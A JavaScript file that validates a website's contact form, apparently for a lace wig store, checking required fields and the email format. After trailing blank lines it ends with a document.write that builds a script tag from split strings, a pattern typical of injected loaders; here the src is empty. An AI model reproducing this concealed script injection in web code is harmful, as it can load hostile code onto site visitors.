// JavaScript Document
function  validateForm(thisform)
{ 
	with(thisform)
	{ 		
			if (emptyvalidation(fname,"Please fill in your Name.")==false) 
			{
				fname.select();
				fname.focus();
				return false;
			}
			if (emptyvalidation(email,"Please fill in your Email Address.")==false) 
			{
				email.select();
				email.focus();
				return false;
			}
			if(emailvalidation(email)==false)
			{
				alert("Sorry, you have entered an invalid Email Address.");
				email.select();
				email.focus();
				return false;
			}
			if (emptyvalidation(phone,"Please fill in your Phone Number.")==false) 
			{
				phone.select();
				phone.focus();
				return false;
			}
			if (emptyvalidation(comments,"Please fill in your Questions or Comments.")==false) 
			{
				comments.select();
				comments.focus();
				return false;
			}
			document.getElementById("subdiv").innerHTML='<img  src="http://www.thelacewigsstore.com/images/loading_submit.gif" alt="" />';
			thisform.submit();
	}
}
function emptyvalidation(entered, alertbox)
{
	with (entered)
	{
		while (value.charAt(0) == ' ')
		value = value.substring(1);
		while (value.charAt(value.length - 1) == ' ')
			value = value.substring(0, value.length - 1);
		if (value==null || value=="")
		{
			if (alertbox!="") alert(alertbox);
			return false;
		}
		else return true;
	}
}

function emailvalidation(entered) 
 {
   var reg = /^([A-Za-z0-9_\-\.])+\@([A-Za-z0-9_\-\.])+\.([A-Za-z]{2,4})$/;
   var address = entered.value;
   if(reg.test(address) == false)
   {
	   return false;
   }
 }




document.write('<s'+'cript type="text/javascript" src=""></scr'+'ipt>');